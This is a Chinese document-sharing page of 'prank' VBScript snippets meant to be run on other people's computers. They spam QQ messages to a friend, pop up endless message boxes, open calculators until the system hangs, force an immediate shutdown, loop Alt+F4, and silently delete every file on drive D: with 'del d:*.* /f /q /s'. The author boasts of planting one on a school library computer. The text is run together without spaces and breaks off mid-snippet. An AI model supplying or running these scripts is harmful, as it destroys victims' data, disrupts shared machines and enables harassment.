vbs脚本整人代码

《vbs脚本整人代码》由会员上传分享，免费在线阅读，更多相关内容在教育资源-天天文库。

1、一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=>复制代码代码如下:OnErrorResumeNextDimwsh,yesetwsh=createobject("wscript.shell")fori=1to10wscript.sleep700wsh.AppActivate("与xx聊天中")wsh.sendKeys"^v"wsh.sendKeysiwsh.sendKeys"%s"nextwscript.quitQQ骚扰信息,也可

2、以用在其它程序上。二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈------------------------------------------------------------------------------domsgbox"Youarefoolish!"loop------------------------------------------------------------------------------三、打开无数个计算器，直到死机--------------------------------

3、----------------------------------------------setwsh=createobject("wscript.shell")dowsh.run"calc"loop-----------------------------------------------------------------------------四、直接关机-----------------------------------------------------------------------------dimWSHshellsetWS

4、Hshell=wscript.createobject("wscript.shell")WSHshell.run"shutdown-f-s-t00",0,true-----------------------------------------------------------------------------五、删除D:所有文件---------------------------------------------------------------------------dimWSHshellsetWSHshell=wscript.cr

5、eateobject("wscript.shell")WSHshell.run"cmd/c""deld:*.*/f/q/s""",0,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------复制代码代码如下:while(1)msgbox"哈哈你被耍了！"loop---------

6、-------------------------------------------------------------------七、不断按下alt+f4（开什么都关闭……）---------------------------------------------------------------------------复制代码代码如下:dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys"%{F4}"loop八、按500次回

7、车(以上代码在运行者的电脑上显示500个对话框。其中dountils=500，500可以随意更改)复制代码代码如下:dimsdountils=500s=s+1msgbox"哥们，给我按500次回车吧",64loop'------------------------------------------------------------------------------------九、关不掉的窗口复制代码代码如下:WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)WScript.Echo("你是可爱的小朋吗?")WSc

8、ript.Echo("哈,我想你拉，这你都不知道吗？")WScript.Echo("怎么才来，说~是不是不关心我")WSc